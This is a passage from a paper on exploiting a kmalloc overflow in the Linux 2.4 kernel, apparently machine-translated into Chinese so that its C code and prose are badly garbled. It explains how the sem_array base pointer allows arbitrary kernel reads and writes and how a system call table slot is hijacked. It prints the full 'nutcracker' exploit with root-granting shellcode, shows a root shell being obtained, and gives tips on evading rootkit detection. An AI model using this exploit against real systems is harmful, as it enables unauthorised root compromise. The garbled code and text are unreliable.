                                                                                    tbuf.sem_otime = SMA> sem_otime; tbuf.sem_ctime = SMA> sem_ctime; tbuf.sem_ns
                                                                                    ems = SMA> sem_nsems; sem_unlock ( semid的 ) ;          如果 （ copy_semid_to_user ( arg.buf，& TBUF，
            如果 ( nsems> SEMMSL_FAST ) {sem_unlock ( semid的 ) ; sem_io = ipc_alloc ( 的size
of ( USHORT ) * nsems ) ;                  如果 ( sem_io == NULL )                返回 EN
OMEM; ERR = sem_revalidate ( semid的，SMA，                                                                    版 ) )
                                                                                                  返回 EFAULT;          返回 0 ; }      /* GETVAL，GETPID，GETNCTN，GETZCNT，SETVAL
                                    nsems，S_IRUGO ) ;
                  如果 ( 呃 )                  去 out_free; }                                          下调*/
                                                                                        } ERR = EINVAL;       如果 ( semnum < 0 || semnum> =
                                                                                    nsems )          去 out_unlock;

            对于 ( I = 0 ; 我<SMA> sem_nsems; 我++ ) sem_io [I] = SMA> sem_base [I] .semval; se
m_unlock ( semid的 ) ; ERR = 0 ;          如果 ( copy_to_user ( 数组，sem_io，nsems * 的sizeo
f ( USHORT ) ) ) = ERR EFAULT;          去 out_free; }       案件 SETALL : {
                                                                                    [2] CURR = & SMA> sem_base [semnum];

                                                                                        开关 ( CMD ) {       案件 GETVAL : [3] = ERR CURR> semval;
                                                                                            去 out_unlock;       案件 GETPID : ERR = CURR> sempid & 为0
                                                                                    xFFFF ;          去 out_unlock;       案件 GETNCNT :

            INT 一世;          结构 SEM_UNDO *联合国;

                                                                                            ERR = count_semncnt ( SMA，semnum ) ;          去 out_unlock;
                                                                                        案件 GETZCNT :
            sem_unlock ( semid的 ) ;
                                                                                            ERR = count_semzcnt ( SMA，semnum ) ;          去 out_unlock;
            如果 ( nsems> SEMMSL_FAST ) {sem_io =                                   案件 SETVAL : {[4]          INT VAL = arg.val;          结构 SEM_UNDO *联
                                                                                    合国; ERR = ERANGE; [5]          如果 （ VAL> SEMVMX || VAL < 0 )
                              ipc_alloc ( 的sizeof ( USHORT ) * nsems ) ;                       去 out_unlock;
                  如果 ( sem_io == NULL )                返回 ENOMEM; }

            如果 （ 调用copy_from_user ( sem_io，arg.array，即nsems * 的sizeof ( USHORT ) ) ) {ERR
= EFAULT;          去 out_free; }
                                                                                            对于 ( UN = SMA>撤消;未; UN =未> id_next ) 未> semadj [semnum] = 0 ; [6] CURR>
                                                                                    semval = VAL; [7] CURR> sempid =当前> PID;

            对于 ( I = 0 ; I <nsems; 我++ ) {          如果 （ sem_io [I]>
SEMVMX ) {ERR = ERANGE;          去 out_free; }}                                                SMA> sem_ctime = CURRENT_TIME;          /* 也许有些queuedup进程
                                                                                    是
                                                                                                        等待这个*/
                                                                                            update_queue ( SMA ) ; ERR = 0 ;          去 out_unlock; }} out_unlock : sem_unlo
                                                                                    ck ( semid的 ) ; out_free :       如果 ( sem_io ! = fast_sem_io ) ipc_free ( sem_io，  的sizeof
                                                                                    ( USHORT ) * nsems ) ;       返回 呃; }
            ERR = sem_revalidate ( semid的，SMA，nsems，
                                    S_IWUGO ) ;
            如果 ( 呃 )          去 out_free;

            对于 ( I = 0 ; I <nsems; 我++ ) SMA> sem_base [I] .semval = sem_io [I];          对于
( UN = SMA>撤消;未; UN =未> id_next )          对于 ( I = 0 ; I <nsems; 我++ ) 未> sema
dj [I] = 0 ; SMA> sem_ctime = CURRENT_TIME;
```

在这里我们看到，我们在上面已经（otime，的ctime，权限等）溢出的sem_array结构。这里有趣对我们来说是基座部件，因为它是一个指针阵列中的第一个信号量。我们可以控制这个指针，因此所有下面的操作依赖于该指针如GETVAL和SETVAL命令sys_semctl。在[1]，我们看到CURR被定义为得到在[2]与基指针初始化的指针！[3]中我们可以看到，对于GETVAL返回值是在*基值！

这使阅读从内核空间的任意4个字节的值！

[4]我们看到了我们的观点给予sys_semctl系统调用ARG（.VAL）。[5]可确保值不低于0x7FFF的大和[6]终于给了我们oportunity来写值高达0x00007fff内核内存！在[7]的代码是不是在代码的所有版本，并在一些已经切出。然而，我的版本有这么SETVAL也将在接下来的INT指针写我目前的PID到内存（其中很烂）。

好了我们可以做什么用呢？我们的目标是获得任意代码执行。我能想出最好的办法是在劫持系统调用表（sys_ni_call）另一个空槽，因为我们可以轻松地访问，从用户空间指针不破坏其他inportant函数指针，以保持系统的稳定！在我的版本中，我们需要三个空的系统调用插槽，PID和为0x0000部分存储在保存的地方。

可使用的部分 - 0x7ffff - 在所述指针地址的两个最显著字节写在未对齐的写操作。然后，我们被劫持的呼叫例如跳转到0x4004 ????。既然我们的mmap（ ）/ BRK（ ）到多个地址，并有位于有效载荷有这是一个容易克服的障碍。在较新的内核，例如2.6两个未使用的系统调用槽call_n和call_n + 1就足够了。所述sys_call_table的位置可以从/boot/System.map被grep'd（如果可读）。

</arch/i386/kernel/entry.S>

```
//为2.4。
。长SYMBOL_NAME（sys_ni_syscall）/ * 250个sys_alloc_hugepages * /
。长SYMBOL_NAME（sys_ni_syscall）/ * * sys_free_hugepages /
。长SYMBOL_NAME（sys_ni_syscall）/ * * sys_exit_group /
。长SYMBOL_NAME（sys_ni_syscall）/ * * sys_lookup_dcookie /
。长SYMBOL_NAME（sys_ni_syscall）/ * * sys_epoll_create /
。长SYMBOL_NAME（sys_ni_syscall）/ * sys_epoll_ctl 255 * /
。长SYMBOL_NAME（sys_ni_syscall）/ * * sys_epoll_wait /
。长SYMBOL_NAME（sys_ni_syscall）/ * * sys_remap_file_pages /
。长SYMBOL_NAME（sys_ni_syscall）/ * * sys_set_tid_address /

//为2.6
。长sys_utime / * 30 * /
。长sys_ni_syscall / *旧的stty系统调用持有* /
。长sys_ni_syscall / *老gtty系统调用持有* /。长sys_access
 [...]

。长sys_getdents64 / * 220 * /
。长sys_fcntl64
。长sys_ni_syscall / *为TUX保留* /
。长sys_ni_syscall
。长sys_gettid
。长sys_readahead / * 225 * /
```

最后利用现在看起来像这样：

```
/ *
 * nutcracker.c * “”
“” “” “” “” “”
 *例利用针对kmalloc的（ ）溢出。*    这是利用了论文“利用kmalloc的*溢出和服务器作为
一个POC表明，这种类型的错误会导致* root权限的故事的一部分！*

 *本k_give_root []代码内核2.4.20特定。因此，期望在*其他内核版本*错误。*

 * qobaiashi / UNF *
*周六09月17日十一时35分18秒CEST 2005 * /
#包含<sys / syscall.h>
# 包含<sys / types.h中>
# 包含<sys / stat.h>
# 包含<sys / mman.h>中
# 包含<sys / ipc.h>
# 包含<sys / sem.h中>
# 包括<fcntl.h>函数
# 包括<string.h>的
# 包括<unistd.h>中
# 包括<stdio.h>中
# 包括<stdlib.h>中
```

#限定HIJACALL 253

炭k_give_root [] = //内核2.4.20特
定。// SRY这是另一回事..

"\ X31 \ XF6 \ XB8 \ X00 \ xe0 \ XFF \ XFF \ X21 \ xe0" "\ x8b \
X80 \ x9c \ X00 \ X00 \ X00 \ X89 \ XB0 \ X30""\ X01 \ X00 \ X00
\ X89 \ XB0 \ X34 \ X01 \ X00 \ X00" "\ X89 \ XB0 \ X40 \ X01 \
X00 \ X00 \ X89 \ XB0 \ X44" "\ X01 \ X00 \ X00 \ X31 \ XC0 \
X40 \ XCD \ X80";

/ ********** \ | *原型
* | \ ********** /

空隙使用情况（字符*路径）; INT get
_file（字符*路径）;
INT制备（INT总，INT活性，INT精氨酸，字符*缓冲液中）; INT get_semid
（）;

/ ********** \ | *全局
* | \ ********** /

INT的fd;
工会semun {

    INT VAL; // <=用于SETVAL值
    结构为semid_ds * BUF; // <=缓冲液IPC_STAT＆IPC_SET无符号短整数*阵列; //
<=阵列GETALL＆SETALL结构seminfo * __ BUF; // <=用于IPC_INFO缓冲器};

/ ********** \ | ** **主
要| \ ********** /

诠释主（INT的argc，字符* argv的[]）{

字符* PTR;
INT精氨酸，TMP，活性，总，PLACEHOLD，受害者; INT * MOD;

工会semun seminfo;
炭缓冲液[1024 * 4]; //哟难看=> lseek的memset的（缓冲液
，0×00，的sizeof（缓冲））！;

如果（的argc <2）
{
   使用量（的argv [0]）; 出
口（1）; }

ARG = strtoul将（argv的[1]，0，0）;

如果（（get_file（“/ PROC / slabinfo”））== 1）{

   的printf（“无法打开文件... \ n”）; 出口（1
）; }

如果（读（FD，缓冲器，的sizeof（缓冲））== 1）{

  的printf（“[！]无法读取slabinfo ..离开\ n！”）; 出口（0）; }

PTR =的strstr（缓冲液，“size128（DMA）”）+ 13; PTR =的strst
r（PTR，“size128”）; PTR + = 13;
活性= strtoul将（PTR，0，0）; PTR +
 = 13; 总= strtoul将（PTR，0，0）;

//制备制备（总的，活性，精氨酸，的缓
冲液）; //更新状态接近（FD）;

如果（（TMP = get_file（“/ PROC / slabinfo”））== 1）{

   的printf（“无法打开文件... \ n”）; 出口（1
）; }

如果（TMP =读（FD，缓冲器，的sizeof（缓冲））== 1）{

  的printf（“[！]无法读取slabinfo ..离开\ n！”）; 出口（0）; }

PTR =的strstr（缓冲液，“size128（DMA）”）+ 13; PTR =的st
rstr（PTR，“size128”）; PTR + = 13; 活性= strtoul将（PTR，0
，0）; PTR + = 13; 总= strtoul将（PTR，0，0）; //假设我们得到
2好对象的printf（“活性％d％总d \ n”个，活性，总）; 关闭（FD
）;

memset的（缓冲液，0×00，的sizeof（缓冲））; MOD =
（INT *）缓冲液;

为（总= 0;总<=的sizeof（缓冲液）;总+ = 4）{如果（总== 3
2 * 4）* MOD =为0x0; // UID，GID，CUID，cgid进行如果
（总== 33 * 4 ||总== 35 * 4）* MOD =的getuid（）; 如果
（总== 34 * 4 ||总== 36 * 4）* MOD = getgid（）;

//如果烫发（总== 37 * 4）* MOD = 0x7
90; // SEQ如果（总== 38 * 4）* MOD =
 0x00A6; // // QUATTRO如果otime（总
== 39 * 4）* MOD =为0x0; //如果的ctim
e（总== 40 * 4）* MOD = 1122334455
; // *基如果（总== 164）

    * MOD = 0xc02f32b0 +（HIJACALL * 4）2; // sys_call_table的+（253 * 4）2;

   MOD ++;
}

//系统调用（35，精氨酸，的缓冲液）;
 //系统调用（35，2，缓冲液）;

//希望得到2个contignuous对象：PLACEHOLD =了semget（IPC_PRIVAT
E，9，IPC_CREAT）; 受害者=了semget（IPC_PRIVATE，9，IPC_CRE
AT）;

//现在攻击者替换占位符：（“！不能kfree占位符\ n”），如果
（了semctl（PLACEHOLD，0，IPC_RMID）== 1）printf的;
 系统调用（35，1，的缓冲液）;

活性= get_semid（）;
如果（MMAP（（无效*）0x40044000,0x8000，PROT_READ | PROT_WRITE | PROT_EXEC，\

```
 MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS，0，为0x0）<0）{

  的printf（“无法mmap的\ n”）；出口（1
）；}

memset的（（无效*）0x40044000，×41，0x5000处）；
的memcpy（（无效*）0x40044000 + 0x5000处，k_give_root，的sizeof（k_give_root））；

seminfo.val = 0x4004;
TMP =了semctl（活性，0，GETVAL，seminfo）；的printf（，TM
P“写%P之前\ n呼叫指针”）；如果（！了semctl（活性，0，SETV
AL，seminfo）= 1）的printf（“系统调用劫持\ N！”）；


TMP =了semctl（活性，0，GETVAL，seminfo）；
的printf（“呼叫指针现在%P ...触发代码=>检查ID \ n”个，TMP）；系统调用（253，0，0）；
}



/ ********** \ | **获取文件** | \ **
****************** / INT get_file
（字符*路径）

{struct stat中的buf;


如果（（FD =开放（路径，O_RDONLY））== 1）{

   PERROR（“开放”）
；返回1; }


如果（（FSTAT（FD，＆BUF）<0）
）{
   PERROR（“FSTAT”
）；返回1; }


返回buf.st_size; }



/ ****************** \ | ** **使用
| \ ****************** /空使用
（字符*路径）

{printf的（“| \ n”）；的printf（“|用法：%S \ n
”个，路径）；的printf（“| 1溢出\ n”）；的prin
tf（“| 2消耗\ n”）；的printf（“| 3 +消耗自由\ n
”）；出口（0）；}

/ ****************** \ | ** **准备
| \ ****************** /


INT制备（INT总，INT活性，INT精氨酸，字符*缓冲液）
{INT CNTR，极限=（总活性）4; // 4尺寸调整之前发生INT checktotal =

总; 字符* PTR = NULL;


的printf（“消耗%d \ n”个，限制）；

如果（极限）
{
  对于（CNTR = 0; CNTR <=极限; CNTR ++）了semget（IPC_PR
IVATE，9，IPC_CREAT）; //系统调用（35，2，缓冲液）; }



}


/ ****************** \ | ** ** get_semid | \ ******************
 / //错误：不运行漏洞利用两次，因为我们//找到相同的
SEM。条目这里再次：> INT get_semid（）{INT TMP
 = 0，偏移= 0; 炭缓冲液[1024 * 4 + 1]; 字符* PTR = N
ULL;



如果（get_file（“/ PROC / SYSVIPC / SEM”）== 1）{

   的printf（“无法打开文件... \ n”）；出口（1
）；}


而（1）{

memset的（缓冲液，为0x0，的sizeof（缓冲））；如果
（TMP =读（FD，缓冲器，4096）== 1）{

   的printf（“[！]无法读取seminfo ..离开\ n！”）；出口（0）；}


PTR =的strstr（缓冲液，“3620”）；如果
（PTR！= NULL）休息; } PTR = 10; 关闭
（FD）；返回strtoul将（PTR，0，0）；}
```

而利用在行动新鲜重启系统：

```
qobaiashi @茧：一> GCC优化胡桃夹nutcracker.c
    qobaiashi @茧：一> ./nutcracker 1耗时32活
    性747 750总

    之前写指针调用系统调用0x89f0c012劫持！

    呼叫指针现在0x4004 ...触发代码=>查身份证qobaiashi @茧：一
    > ID
    UID = 0（根）GID = 0（根）GRUPPEN = 100（用户），14（UUCP），16（拨出），17（音频），33（视频）qobaiashi @茧：一
    > EXEC SH sh2.05b＃
```

5.额外的想法和提示

在现实生活中的人会加入到ring0的代码化妆品的变化，其修复被愚蠢的rootkit检测到的值到sys_call_table中以逃避侦查。另外，许多创建信号灯可以被删除。

现在，我想花一些话谈论在现实生活中可能会发现条件。通常存储在内核空间溢出的发生是由于整数的错误，因此可能是长度参数调用copy_from_user是带负号的int值，这意味着一个巨大的size_t值的情况。随着strncpy_from_user因为它停止在用户空间的一个NULL这不会造成问题。但是，如果（__）调用copy_from_user被调用，例如为0x8000000为len参数内核崩溃瞬间，并重新启动被强制。我试图用一个映射在孔OpenBSD上，但没有使用黑色的用户空间映射（0xc00000000的）和mprotect的把戏结束合作，绕过这个大副本的问题。它深入了解一下透露，从用户空间复制数据的过程中正确地停在（I386）PROT_NONE段，但这里的问题在于一个“memset的（到0，LEN）;”右复制使大量的内核内存前被zero'd出最终导致机器重启。我希望（在i386上）如何打败这个提示！在某些情况下，但INT溢出只会导致失算在kmalloc的调用，这样就可以在一个较小的缓存溢出它与正常工作分配一个对象，从而！

六，结论

我已经表明kmalloc'ed存储器的controled溢出能够可靠地利用。我们在这里的溢出发生在一般的高速缓存，其他人可能是在一个特殊的插座缓存的例子。然而开发要看你适合消费对象，并最终筹集特权内核程序的知识。我希望你尽可能多的乐趣，因为我曾找他们;）现在就要结束了，我希望你喜欢的文件！

问候外出Phenoelit，THC和联合国基金会的其余部分。

迪9月20日11时08分25秒CEST 2005

- gobaiashi @ü nf.com -